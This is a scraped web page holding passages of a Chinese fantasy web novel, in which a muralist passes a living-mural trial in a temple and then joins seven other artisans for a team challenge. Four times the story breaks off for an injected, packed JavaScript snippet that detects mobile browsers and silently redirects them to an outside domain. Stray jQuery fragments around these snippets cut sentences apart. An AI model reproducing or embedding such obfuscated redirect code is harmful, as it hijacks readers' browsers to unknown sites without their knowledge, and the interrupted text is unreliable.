周蕴很快调整好情绪,冷静地分析了这一次故事的全部经过,最后发现一切都可以解释,除了一点,“她怎么会用金罩?” 这明明是白衣的法器。也正是这一点,让她一败涂地。 “每一场的记忆不会继承,但对他们来说却都是真实发生的,多少会留下些许印记,比如四不像,比如白衣、飞天。上一世的情形太过刻骨铭心,所以也刻在了宫娥的潜意识中。” 有相耐心解释:“她对白衣有亏欠。” “业?” 周蕴蓦地想起佛经里的说法。此前为了让那位难伺候的金主满意,她在一堆经书中泡了几个月,从牵强附会到深度理解,反复修改了成千上百次图稿才达到他心中“人间井”的要求,在此期间她学到了许多没什么用的知识。 “这解释了她为什么会送走白衣和飞天,但跟她会用金罩有什么关系?” “施主当真聪慧,一点就通,我不妨再给你些提示。”有相说道。 “第一道闸门一旦开启,许多支离破碎的东西会慢慢拼凑起来。而且还有一事您可能不知道,上一世白衣身死,金罩自然而然认了金罩中的她为新主人。” 就像业力一样,一旦建立就如无形的丝线,斩不断毁不掉。 经书中说道,业力除非当局者完成了课题,还了业债,否则累生累世都会伴随主体,逃不开躲不掉。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15467803|169839||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 周蕴只觉牵强却又好像无法反驳,毕竟这个东西到现在呈现出来的也只是个壁画。 “那四不像呢,它又是怎么回事?”周蕴问。 想到它周蕴的脸色就不太好看,毕竟这畜生是她画出来的,闯出这么大祸她难辞其咎。 “施主怎么糊涂了?”有相反问,“创造他时您是如何想的?” 画虫子时,周蕴脑中不知怎的突然想起一个会变换形态的妖兽大闹天宫的故事,制造骚乱转移众人注意力,借此脱身,她只觉得这着实是个好办法。 “但后来呢?” 出于保护宫娥的目的创造出来的四不像,最后杀死了宫娥,听起来多少有些讽刺。 “你只能决定它的初始状态,一旦存在壁画中,就必须遵循其中的法则,跟着里面的规则运转。不过规则其实也基于你创作壁画时的思想,而且是你把它召唤回来的,不是吗?”有相直戳痛处。 周蕴无言。 “如果下次失败,宫娥会怎么样?”良久之后,周蕴问。 有相说过她只有三次机会帮助宫娥逃脱。 “不会怎么样,壁画会被清除,等待下一位壁画师到来。”有相平静道,“不过贫僧还是建议您先担心一下自己,准确来说,是您只剩下一次机会。” “什么?!”周蕴这一惊非同小可,“你说清楚些!” 她反复确认过信上没有任何隐藏的“卖身契”,加上权威的皇家印章,一路上包吃包住,恢弘气派的寺庙,还有和颜悦色的方丈说只是请她来帮个忙,以上这些但凡少一样她都在中途跑路了。她进来之前已经想过最坏的结果——空手而归,但现在听起来好像不太对。 “你踏进‘须弥界’的时候就已默认接受了条件,如果过不了第一关,你就会成为万佛寺的终身壁画师。”有相说道。 周蕴简直不相信自己的耳朵:“这种事怎么没提前知会我?” “这种不对等协议只能被视作无效吧。”她很快恢复了理智。 “施主稍安勿躁,信封背面贴的金箔上写的明明白白,您拆信封时肯定要揭下那张被制成封条的金箔,就在酬金之上很难不注意到。”有相认真解释。 “???” 信封到手时背面全被泥水染黑了,要不是信使提醒,她还不知道背面有几个写着酬金的金色大字。在来京城的路上,她反复确认,小心翼翼处理了信封背面的泥垢,确定没有任何字迹残留后,这才安安心心来了万佛寺。 金箔?哪有什么鬼金箔! 是被信使私吞了还是在半路丢了,谁知道呢?但这也不重要了。 难怪无相会让她先修养几日再来。 周蕴握紧了拳头。 “施主也不用太过悲观,皇家壁画师吃穿用度完全不用愁,还有数不尽的佛学宝藏,到时这些宝藏也将为您完全敞开,相信对提升您的技术有很大的帮......” “闭嘴!”周蕴粗暴地喝止,她的终极目的只有躺平而已。 “你再重复一下题目。” 她必须好好思考这个问题。 有相立即答道:“帮助你选择的主角逃出壁画。您准备好了就同我说。”这一次他作出了退步。 许久后,周蕴深吸一口气:“来吧。” 壁画上光影流转,场景再一次动起来。 周蕴拿起画笔,这次不仅仅是为了宫娥,更为了她自己。 5. 第五章 人间井 还是在同一位置,宫娥踉跄了一下,周蕴现在闭着眼都能把人和盘子稳稳扶住。 虫子毫无意外地掉落,转瞬毫无意外地变成四不像,气浪毫无意外地掀翻了周围一切事物,当然也有意外,宫娥的盘子被周蕴死死黏在手上。 就像撕开了一道口子,意外接踵而至,四不像没和上两次一样造成巨大性破坏,跟走过场一样刮了几阵风喷了几团火就窜出殿外。 一群天兵奉命追出去,殿内高级女官和侍者则催动灵力,顷刻间掀翻的案几重归原位,遍地狼藉不复存在,蟠桃宴会再次开席,歌舞又起,一派升平之调。 宫娥们重新端上佳肴,主角宫娥也在其中,一众侍者停步、弯腰、放盘子,所有人步伐一致,动作都是同步发生。就在这时,不和谐的一幕出现了——主角宫娥放下盘子时手不慎一抖,精美的琉璃盘从案上滑落、打翻,蟠桃掉了一地。 刚解除盘子和宫娥之间禁锢的周蕴:“......” 行,这是个无法更改的节点。 周蕴一面观察宫娥的情况,一面紧盯站在一旁的白衣仙君、殿外的飞天和四不像消失的地方。殿内的主事女官又一次面无表情地下达命令,天兵又一次上前,另一边,白衣仙君却没有任何动作。 这时,殿外平地生出一阵龙卷风,周蕴心头一紧,随即舒了一口气,是麒麟。 按有相所说,若真是参照了那些佛经典故,业已经在上一场还完,这一场就可能不再有交集,事实看上去也是如此。现下仅剩的麒麟是在她初步了解规则后绘制的,创造时她率先给了瑞兽的定义,同时让它强大到足以带宫娥全身而退,这一次她比较有把握。 瑞兽踩着祥云冲入大殿顶翻了一众天兵,衔起宫娥丢在背上,继而在众目睽睽下掉头跃出大殿,一切发生于一瞬之间,待到一人一兽绝尘而去,大部队才匆匆忙忙集结追了出来。 七彩祥云一路跟随,似乎在保驾护航,所到之处洋溢着喜庆祥和之气,让人看着就安心,但周蕴却都没心情欣赏沿途风景,她不得不直面那个最终的问题——应该逃去哪里。 题目是逃出壁画,壁画是什么,真的是把人扣出来吗? 身后的天兵大阵风驰电掣,麒麟却更胜一筹,周蕴又提起一口气,速度快也就意味着宫娥很快会到达壁画的尽头。到时会发生什么? 只有一次机会,周蕴不想冒险。 她的目光暂时离开宫娥,移到壁画尽头处,那是周蕴特地设计的半个南天门,暗示了天上与人间、神与人之间不可逾越的鸿沟,当然谁都知道这只是个具象化的象征,不管在南天门内还是南天门外,神仙都是神仙,凡人即使得遇机缘跨进南天门,也依旧是凡人。 想到此处灵光陡现,周蕴蓦地提笔,几乎是一气呵成完成了绘制。 麒麟背上的宫娥望着远处乌泱泱的天兵,神色从茫然到紧张又变得茫然。她本是凡人,自小被遗弃在道观外,因为天赋异禀被道姑收养,从小被灌输修仙才是唯一正道的思想,与世隔绝,受非人的训练,终于不负众望,得道成仙。然而位列仙班后,她才发现天上与师父说的全然不同,她师父说在人间修行时历经的苦,就是为了终有一日能得证大道,获得极大的自由,遨游于天地之间,但事实上并非如此,天庭有着比人间更为严苛的天规戒律。 她的职责是为地位尊贵的神官端盘倒水,在神仙显灵之时,服侍在一旁的她透过香火凝成的通道,窥见人间的多彩,这是她从未体会过的人间,鲜艳、自由、浪漫、无拘无束,她才意识到,她好像从未真正体会人间。身为凡人时,她被动主动地将自己封闭起来,以修仙为唯一目的,却忽略了自己真正想要的,其实就在道观的高墙之外,离她仅有一墙之隔。 麒麟的嘶吼声把陷入回忆的宫娥惊醒。 将这庞大的瑞兽吓得不轻的,是凭空升起、宏伟壮观的高台。 高台由三层玉砌的须弥座堆叠而成,第一层刻有各种各样千奇百怪的虫鱼鸟兽,二层是人间的经典故事,宫墙内的市井中的皆有,三层则是修仙者的故事,有降妖除魔的,也有度己度人的。 高台之上最中央的位置立着一口巨大的井,万道光芒从中射出。大井同样由美打造而成,井壁内外布满浮雕,外侧同基座一样是人间故事,内侧则雕刻得像一层一层的高塔,每层由玉雕的斗拱撑起,斗拱与斗拱之间又都刻着一座座独一无二的楼阁,楼阁的等级和精细程度由下之上逐渐变高。这口井深不可测,从上往下看只能在头晕目眩的楼阁中窥见一片黑暗的深渊。同时,井旁竖着一块高耸的玉碑,上面刻有三个大字——人间井。 这是仙界真正通往人间的井口。 传说中神仙在天上若犯下滔天大罪,就会被推入其中,一身仙骨修为就此消散沦为凡人,生生世世遭受轮回之苦。 但传闻也说过,人间井极为隐秘,甚至没有固定的位置,难以寻觅。 在人间井夺目的光芒下,七彩祥云都失了颜色,宫娥惊异了一瞬随即眉目舒展起来,她摸了摸麒麟的头,巨兽脚步慢了下来,她弯腰贴在麒麟耳边低喃了一句,麒麟听懂似的点点头。 下一刻只见瑞兽后腿一蹬,在空中划出一道七色彩虹,彩虹的另一头延伸到人间井的井口。 一人一兽跃下的瞬间,宫娥抬头,周蕴只觉浑身一颤,宫娥好像看了她一眼。 骤然间,四面壁画被耀眼的金光笼罩,刺眼的光令周蕴不由得眯了眯眼,脑袋突然一阵晕眩—— 金色的光和一望无际的沙海重合。 ——“看来你不喜欢那里?”依稀飘来一个女子的声音,模糊不清。 ——“加班熬夜的是我,最后出错背锅的还是我......”这大概是个女声,与前者相反,声音震耳欲聋,一开口就震得周蕴的脑子嗡嗡响,同样也模糊难辨。 周蕴使劲晃了晃脑袋,才恍惚了一瞬,就跟走马灯似的闪过很多东西,不过她也只抓住了这两句话。 “恭喜施主通过第一关。”有相语气平淡地恭贺。 周蕴在关键时刻终于意识到从一开始,她就被有相误导了,因为宫娥的处境,她对“逃”的第一次理解是逃离天兵的追击;而到了第二次,她在帮助宫娥逃跑时才注意到一直忽略了目的地;直到第三次,她才真正领会到“逃”的含义,逃离壁画显然不可能,假设壁画能无限次循环,那就意味着无论怎么改动,宫娥都会面临同样的境遇,毕竟摔盘子这个节点她每次都绕不开,可视为固定好的,是宫娥摆脱不了的命运,也是给周蕴的真正题目。 站在相反的角度,困住宫娥的不仅是排山倒海的天兵,也不只是森严苛刻的天规,而是命运。命运的枷锁在绘制壁画时就烙下了,不仅包括壁画中呈现的,还包括宫娥她自己。这些如同尺规,精准计算出了不可避免的节点和结局,即使中途发生个把小意外也无法更改。 外界因素的大方向难以改变,即使有周蕴在画外,但她的力量有限,又不甚了解规则,因此更重要的点其实在于宫娥。只要她不作出反抗、改变,注定走向一样的结局。 周蕴想到这一点,于是给宫娥提供了一个选择——人间井,舍弃仙界的一切,之前的修 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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周蕴听笑了,还以为京城的僧人没有这条戒律。 “那去看看吧。” “好的,请在原地稍等片刻。” 有相话音未落,石室四壁发生轰隆隆的声音,周蕴感觉身体跟着整个石室在缓缓下坠旋转移动,片刻后,声响终于停止。 “请吧。” 沉重的石门缓缓打开,一道刺眼的光从缝□□出,在冰冷的石室地上投下一片亮光,并随着开门声逐渐扩展。 门外显然已不是刚才第八层的门厅,是个比这一间还亮上数倍的空间,入门处挡着一扇屏风,完全看不清里面的景致,隐约能听到人声。 “您必将不虚此行。” 有相幽幽道,两个房间连通,空间一下变得宽敞,一声声回音在石室内回荡。 周蕴踏入光芒中,轮廓在地上投下长长的影子,跨过石门的一瞬,亮光全方位扑上来,周蕴不觉眯了眯眼,似乎又进入了那个满是黄沙的梦,缥缈的人声萦绕耳畔,但不一样的是这次她抓到了,抓到了那句完整的诗。 ——“劝君更尽一杯酒(注1)......” 这时门里传来一个英气的女声: “......好,那我问你,羌笛何须怨杨柳(注2),下一句是什么?” “西出阳关无故人(注1)。” ——“......西出阳关无故人。” 梦中的人声和屏风另一侧传来的人声完完全全重合在一起。 6. 第六章 暗号 绕过素色屏风,所有人影、声音都骤然清晰起来,这是一间比原来空间大上一倍的石室,最中央处是一张巨大的圆形石桌,四周围着一圈石凳,石室四壁和天花同楼阁中其它地方一样,都是素色。 一个身材高挑的年轻女子叉着腰站在桌旁,跟个大姐头一样,正在审视站在身前的健硕男子。圆桌旁围坐着四个人,两男两女,石室角落处还站着一名红衣女子,她靠着墙,长发微卷五官深邃艳丽动人,却不近人情。在场七人,除一位老者一个十来岁的女孩,余下都与周蕴年纪相仿。 “不对。” 大姐头对健硕男子的回答大失所望,见周蕴走进来,抬抬下巴,“你呢?” “???”周蕴一头雾水。 “暗号暗号!”健硕青年见来了人也是双眼一亮,立刻转变角色跟着起哄,“‘羌笛何须怨杨柳(注1)’下一句是什么?” 周蕴面露迟疑之色:“西出阳关无故人(注2)?” 一进来就这么个阵仗,周蕴不得不设防,外人看来她是在依样画葫芦,只有她自己知道不是。她一直注意那健硕青年的一举一动,她的暗号倒是对上了,但是这梦里的暗号究竟意味着什么,她与这青年究竟什么关系,她也不清楚。这副咋咋呼呼不着调的样子周蕴越看越嫌弃,着实不太想和他扯上什么关系。 “哈哈哈哈哈哈——” 众人笑成一片,以健硕青年、小女孩和老者笑得最为放肆,呈现人仰马翻之态。 角落里的冷面美女无语地撇了喧闹的众人一眼,随即半侧着的身子又往角落里侧了侧。 “行了行了,别吓到人家小姑娘了。”老者抹了把泪花站起来打圆场。 他张开双臂,情绪高涨,跟演讲似的朝众人大声道:“人终于齐了,为了庆祝这伟大的时刻,我们全体再来一次自我介绍吧。” 他一字一点头,活力四射,这年龄段该有的沉稳他是一点都没有。 整个石室好像骤然冷了起来,七双眼睛意味不明地盯着他,笑声也停止了。 老者轻咳了一声,摸了摸白须:“既然诸位都有些害羞,那就由老头子我开始吧。我叫劳青,来自南州,平日里主要工作是给道观塑像。别看我满头白发,我还未及花甲,正是闯荡的年纪。” 众人:“......” 无相竟然还请来了塑像师,周蕴有点意外,不过想想也有道理,寺庙之中除了壁画,塑像也极为重要。 “欢迎你,扬州邱德菲,壁画师。”大姐头冲周蕴点了点头,“刚才就开个玩笑,被介意。” “我叫——”健硕男子刚抢到话头,就被突然跳到身前的小女孩吓了一跳,话也不由得咽了回去。 “汪思思,也是塑像的,禹州人。”女孩跳到周蕴面前,介绍完还不忘转身冲冯文并挤出个幸灾乐祸的笑。 她整个人像是个行走的颜料盘,头上扎着五颜六色的发带,鲜艳的衣服上缠着许多彩色线,斜背着个彩色的挎包,腰间还挂着几个彩色的娃娃:“别被老冯骗了,他才先你一步进来,也什么都不知道呢。” “先一步也是先。”健硕男子不满地冲彩色女孩哼了一声,转头就乐呵呵朝周蕴道,“冯文并,冀州人,也是塑像师。” “须弥山周蕴,壁画师。” 须弥山之大,横跨三个州,故而周蕴一族对外自称须弥山周氏。 “难道是专画降魔变的须弥山周氏?”汪思思惊呼,发带和腰间的娃娃跟着一晃一晃的。 “就是最近京城里特别出名的那个画师?” 冯文并也兴奋起来,随即从怀中取出一包东西,最外层包着的手帕上印着的图案赫然就是周蕴所绘的降魔变,只不过相比于将其奉为珍品的无相,冯文并似乎有他自己的想法。 “家里的长辈都说您非但画工精湛,刻画人物神韵更是一绝,我还以为您应该至少得是我父亲那一辈的,没成想居然这么年轻,惭愧惭愧。” 他一面说着一面将皱巴巴的手帕抖了抖,空气中飘来一阵淡淡的饼香,与此同时他的另一手正将几块干粮塞回怀里。 周蕴:“......” “得了得了,你们塑像师都这么闹腾吗?”邱德菲实在看不下去,“我看过你的画,确实不错。” 两个活宝齐刷刷哼了一声,也不说话,劳青倒是精神一振,反击道:“你们画壁画的也就你一个闹腾的。” “塑像师,时苑,烟州人。”一直沉默的素衣女子开口终止了这个话题。她打扮简约,气质娴雅,虽没什么表情变化,但总给人十分和善的感觉。 余下的年轻男子名叫迟元升,来自遥远的云州,也是名壁画师。周蕴很难忽略他苍白的面色和极为消瘦的身形,他的声音更是虚浮无力,不过虽也不爱说话,但他脸上常挂着笑,看着倒是平易近人。 角落里的红衣女子依旧高冷,只透露了名字“孙黎”就不愿再多说一个字,没说她的职业,也没说她来自哪里。即使如此,周蕴也看出她已经很给自己面子了。 一阵寒暄总结下来,在场所有人都是神州各地颇有名气的大家,他们大部分跟周蕴一样出身名门,常年为寺庙、道观绘制壁画、打造塑像,就如邱德菲、劳青和迟元升,也有专门为某一大户人家服务的,他们从小就被养在其家中接受极为严格的训练,经无数次筛选后,成为这个家族的专属匠人,时苑和汪思思就属于后者。 相较之下,冯文并的身份则显得格格不入,他出身于官宦世家,族中有不少达官显贵,在官场叱咤风云才是他们家族的主业,塑像只是他爷爷辈的爱好,然后一直传承到他手上。 至于孙黎的底细,她不愿透露众人也无从知晓,不过凭借她的衣着,还是能隐约看出她的身份非富即贵。 “你们刚才说人齐了,是什么意思?”寒暄告一段落,周蕴终于寻得机会问出来。 “有相那小子说,需在这房间内等够八人才能开启下一轮。”劳青的话里夹杂了一丝哀怨,“我是第一个来的,等了好久才有人来,无聊死我了。” “才八人?难道有那么多人过不了第一关?”冯文并挠挠头,他刚来不久还没听到这个说法,“我稀里糊涂就过了,好像挺简单的啊。” 大姐头邱德菲翻了个白眼:“还不是爱凑热闹的人不够多,拿了钱谁还跟我们一样上赶着没事找事做?” “也是。”冯文并深以为然。 “不过什么任务要我们八人一起做啊?第一轮就已经够呛了。” 汪思思捧着脸,眉头皱成一团,担忧道:“如果是合作的话,又有塑像的又有画壁画的,而且每人擅长的和画风都不相同,这也很难吧。” 怕什么来什么,汪思思的话刚说完,有相的声音就从四壁传来: “中场休息时间已到,八人已聚齐,下一轮,现在开始。” “等等,我们如果完成任务能有什么益处?如果完不成呢?”冯文并忙问道,听完汪思思的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15467805|169839||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 担忧他才猛然意识到这个问题。 “你刚才就没问吗?”邱德菲不可思议。 冯文并一脸无辜:“没有啊,他说恭喜我过关,问我要不要进入下一轮我直接就来了啊,我们来这里不就是为了玩个尽兴吗?” 邱德菲、汪思思和劳青同时朝这个即将成为自己队友的蠢货比了个大拇指。 “完不成任务不会怎么样,但过关了你们就能得到真相。”有相不厌其烦地解释。 “任务具体是什么?”汪思思问。 有相答:“等会你们就知道了。” 周蕴皱眉,她不确定是不是因为空间变大所以产生了错觉,从有相的声音中,她好像听出了些许起伏。与此同时,周蕴见时苑看了自己一眼。 莫非她也有所察觉? 就在这时,正对屏风的一面石墙突然发出一阵沉闷的轰隆声,靠在该石墙上的孙黎立即闪身退到众人旁边。 “天,这居然是空心的。” 劳青一脸难以置信地走到石壁前伸手敲了敲:“我刚才一个人在这把屋子里所有东西都研究了一遍,四面墙就这堵最厚实,没想到啊没想到。” 果然,就算是关在房子里也影响不了他的发挥。 轰隆声中石壁蓦地一动,与天花交接的地方骤然落下许多灰尘和小碎石,整个墙面随即缓缓向上抬升。 劳青一直站在原地没有丝毫退缩,很好地践行了自己说的——他正值闯荡的年纪。 石缝从一指宽到一拳头,很快就到了劳青的膝盖处,只不过与刚才截然不同,另一边的空间是完全黑暗的。 冯文并招呼道:“我们也去看看。” “小心点,这其中有点古怪,”时苑突然出言提醒,“你们发现没有,进来之后这么久,好像完全没有饥饿感?” 众人脚步一顿。 “而且越来越精神了。”劳青回头精神抖擞道。 “我们进来多久了?”邱德菲率先走到门口,和劳青并肩站着。 “你们太疑神疑鬼了吧,我觉得就挺正常啊。”冯文并在门口站定,掐了掐手指头,“还不到一个时辰吧。” “不止。”迟元升气喘吁吁地说道,一边走路一边说话似乎耗费了他全部的力气。 “对,绝对不止。”汪思思也很笃定。 周蕴摇摇头,众人也就默认她和自己一样。但周蕴其实和冯文并有相同的感觉——进入须弥界的时间似乎没有那么久。操纵活壁画的时候,根本没有闲工夫关注时间的流逝,不过人专注于一件事时往往会废寝忘食,没有精准的计时工具,她不想妄下定论。 但有一点是可以确定的,周蕴当时之所以选择蟠桃大会作为主题,有一部分原因是当时她确实是渴了,如今这种感觉却消失无踪,精力也较原来充沛许多。这点所有人都一样。 除此之外还有个神秘的有相,一直以来都没有以真面目示人。 石壁完全开启,众人却不再往前了,里面就像是一个无边的山洞,无尽的深渊,没有光,只能看到一片黑。 劳青煞有其事地推测:“我们这里的光好像跨不过这道石门。” “会不会是因为里面的黑暗会吞噬我们这边的光?”汪思思从另一个角度猜测道。 就在这时,孙黎最后一个走到门口,门内四壁陡然亮起,耀眼的光照亮了整个空间,门中景致一览无遗。 所有人都呆住了。 “请吧。”有相说道。 7. 第七章 四大 劳青嘴角抽搐:“大手笔啊。” “这还要我们干什么啊......”冯文并眼球都快掉下来了。 那是间更大的石室,顶棚也比他们所处房间高出近一半。里面最震撼的要属墙壁上流动的巨幅壁画,千里群山绵延不绝,江流河道纵横交错,小村落和大城市零星散布,山间有打猎的山民、隐居的高人、骑马呼啸而过的信使、执杖的登山人......而在繁华的城市里,市井街巷、房屋楼阁都清晰可辨,甚至还细致到每家店铺的招牌,街上有叫卖的货郎、讨价还价的老妇,楼阁高台上有抒怀的迁客骚人,宫廷中有品尝山珍海味的贵人......就像是把整个人间都搬到上面,如此巨型的壁画就算在朝圣地须弥山中也不存在。而且这还是一副活的壁画,画中每个人都是活生生的,按照各自的生活轨迹行动,更甚者,画中江河湖泊里的每一道波纹都在流动,每一棵树上的枝叶都随着风在摇动。 “幸好来了,大开眼界啊。”汪思思跟着人群蹦进石室里,眼睛都不带眨一下,生怕错过什么东西。 面对在前头突然就走不动道的邱德菲,周蕴无奈只得稍稍绕行,却见邱德菲手上不知何时多了本小画册和一支简易的炭笔,二者快速摩擦发出沙沙响声,与此同时这位大姐头在还喃喃自语: “这些图案都是集大成的精品,都要记下来,这个构图,绝了,还有这个纹理......” 瞧见画册左上角人间井的草图,周蕴沉默地绕过了她。 除了活壁画,石室中央是一个占地很大的方形台子,台子并不高但边缘被一圈木板挡住,需走近方能看到里面的东西——竟然是活动的塑像,不,不能叫塑像了,它就像是活动的沙盘一样,里面有捏成高地的山,也有奔腾的江流,也有热闹壮观的大都会,江湖之远的世外桃源,俯瞰过去,山川相缪,楼阁林立,人影攒动,所有的一切也在流动,加之模型是立体的,看上去更加真实。 这个活沙盘对于周蕴的冲击明显更大,活壁画她见识过,活的沙盘,甚至说这么大规模的沙盘,她还是第一次见。 “壁画和沙盘是一一对应的。”时苑说道。 别人还在处在惊叹阶段,时苑已经开始冷静分析了。 “什么?!!我看看我看看!” 冯文并闻言赶忙丢了壁画凑到沙盘边上,眼角瞥见旁边站着个人就问,“怎么看出来的?” 话音刚落,冯文并只觉得脖子冷飕飕的,强制把目光从沙盘上移开才发现刚才逮着问的人是孙黎,他立刻闭了嘴往旁边挪了挪,又挪了挪:“挺好,挺好的。” “你看,”劳青也闻声而来,他一把勾住冯文并的肩,指了指不远处,“整个沙盘和壁画虽然都在流动,但以大型的标志物为参照点,就拿皇宫来说,虽然壁画是平面的,沙盘是立体的,二者在表达上有所差别,比例也不甚相同,但细看也不难发现其对应关系,以此为中心拓展开来,这不就都对上了嘛!” 劳青说完顿了顿,神色有些古怪,冯文并则自顾自激动地验证这个重大发现,脑袋一上一下,跟捣蒜一样。 “所以这次的题目会是什么呢?”二人边上突然冒出个彩色身影,汪思思疑惑道,“也没有工具啊。” “谁知道呢,这须弥阁里处处都是惊喜。”劳青精神越发抖擞,神态动作像极了沙盘里在江上乘风破浪的大船船长。 就在此时,众人身后刚降落的石墙又缓缓上升。 “这什么?”冯文并又舍了沙盘上前。 石墙抬至与天花平齐,墙体两侧的空间彻底打通。众人刚会面的那间石室已在无人察觉时换成了另一个房间,新的石室呈长条形,长度与他们所处石室一致,进深却只有一丈,而且其地面比他们所处的石室还要高出一人的高度,两侧各有石阶可供上下。 与其说是石室,倒不如说是一个附属的石台。 “走,上去看看。”老船长带头吆喝,随后一群人浩浩荡荡上了石阶。 “控制台?”邱德菲脱口而出,随即自己也有些惊讶。 只见石台上设有八个座位,每个座位前方立着一块石板,中间四块石板旁配有一把未开刃的木刀,而旁边两个座位的石板边上,放的则是画笔。 “我们这八个人,四个塑像师,四个壁画师,刚刚好。”劳青巡走了一圈,啧啧称叹。 这也意味着孙黎是壁画师无疑了。 “真不错,”冯文并站在高台中央俯瞰,“三面壁画和沙盘都一览无余。” “咦?这石板上还有字。” 汪思思刚说完冯文并和劳青就凑了上去,汪思思歪头指了指身旁石板的左侧。 “‘乙’?”劳青和冯文并异口同声道。 “这边是‘甲’。”邱德菲说道。 众人发现高台左边四个位置的石板上都刻了“甲”字,而右边四个则是“乙”。 几个活宝一惊一乍的,周蕴被吵的头疼,于是独自走到一块石板前,指腹点了点,石壁立即亮起,和刚才第一轮那块“屏板”一模一样,亮起的一瞬光亮仿佛刺透双眼直击大脑——一片夺目的光亮中,周蕴似乎看到了几个闪烁的光屏,有几个人坐在光屏前。 只一瞬幻象就消失了,周蕴晃了晃脑袋,只觉得这几日真是见鬼了。 “你们刚才就用这个画壁画?” 时苑不知什么时候走到身后。 周蕴侧头,见她也用手指在石板上划动,不过和刚才不同,石板上只呈现了壁画的内容,无论怎么滑动都无动于衷。 石板的光投在时苑的脸上,周蕴心中一惊,她终于知道为何一开始就觉得时苑看起来很亲切,甚至好像似曾相识。而今被白光一照,周蕴才想起时苑的神韵很像她自己笔下菩萨,虽然形貌可能不完全相同,但气质却是一模一样的。 这究竟是怎么回事?周蕴只觉得毛骨悚然。 “想必你们已经对环境有了基本的了解,接下来,我来宣布任务要求。”有相的声音响起。 “你们应该注意到了台上八个石板被分成甲乙两组,你们首先需要分成两个队伍,每队两位壁画师,两位泥塑师,商量好后直接落座即可。” “是要比赛吗?不会是要让我们相互敌对吧?!!”冯文并站在高台中央,昂着头挺着胸,一副大义凛然的模样,“先说好,我们八人已经建立了深厚的友谊,石不可能自相残杀的。” 众人:“......” 劳青上前拍了拍冯文并宽厚的肩,目光中充斥着同情之色。 “之前不是说八人共同完成任务吗?”汪思思眨巴着大眼睛问,“现在为什么又分成两组?” “是啊是啊!” 冯文并义正言辞还想说点什么,却被邱德菲不耐烦地喝止:“可以了!听听有相怎么说。” “各位大可放心,两组之间是合作关系,这一轮的任务只有你们八人通力合作,才能更好更快滴完成,得到你们想要的答案,”有相解释,“那各位选位置吧。” 刚才还闲不住的众人一下子好像跟静止了一样,似乎都在犹豫,最后是周蕴开了先河,她就近坐在左起第二个位置上,属于甲组。她是最晚加入的,对众人的了解并不深,即使几个人中冯文并和时苑好像与自己有点渊源,但都只是她的感觉。 反正就随缘了,她心道。 下一个作出选择的是时苑,见周蕴坐下,她也就近在左起第三个位置坐下。如此,甲组已有了一个壁画师和一个塑像师,二人礼貌地点了点头。 “那我也坐下了。”冯文并乐呵呵地挨着时苑坐下,成为甲组的另一位泥塑师,“二位多多关照。” “你小子,”劳青笑着摇摇头,随即在冯文并身旁左起第五个位置落座,“那我们俩就在中间主持大局吧。” “正好,反正我也不知道怎么选。”汪思思跳着坐上了最后一个塑像师的位置,与劳青同属乙组。 “咦,大姐头你......”冯文并回头,惊讶地发现一直十分嫌弃他的邱德菲正从身后经过,径直走向甲组最后一个位置。 “别自作多情,我是来和周大师学习的。”邱德菲一如既往地犀利。 她撩起裙摆坐在第一个位置上,那本画册和炭笔还在她手上,格外显眼:“一起学习一起学习。” “一起学习一起学习。”周蕴僵硬地回道。 随着迟元升和孙黎落座,所有人面前的石板同时亮起,光屏上光影变幻,周蕴发现这一次的工作面与上一轮又不太相似。整个光屏只分为上下两个区域,少了原先最下面的素材栏。上方狭长的部分对应三面壁画,下面较大的空白处则对应着第一轮的画板,值得注意的是,白板的中央映着一个浅浅的大字—— “地?”劳青疑惑,探头望向隔壁冯文并的石板,“你是什么?水?” “你是什么?”此时的冯文并也正伸头看向隔壁时苑的石板,“火?” 周蕴这才看到了塑像师的石板,其下方空白区域的初始状态较壁画师的界面多了个圆球,原理应该是通过木刀来雕刻出其所需的形状。 邱德菲很快总结出规律:“地、水、火、风,一组里的每个人各代表一个。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15467806|169839||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “四大?”汪思思托着下巴说道。 “什么意思?”冯文并头一歪,隔着劳青虚心向汪思思求教。 “你居然......”汪思思指着冯文并,好像有些怒了。 “消消气消消气。”夹在中间的劳青及时跳出,充分发挥了中间人的作用,“人家公子哥儿,平日里捏的肯定都是花鸟虫鱼这些俗物,咱理解理解。” 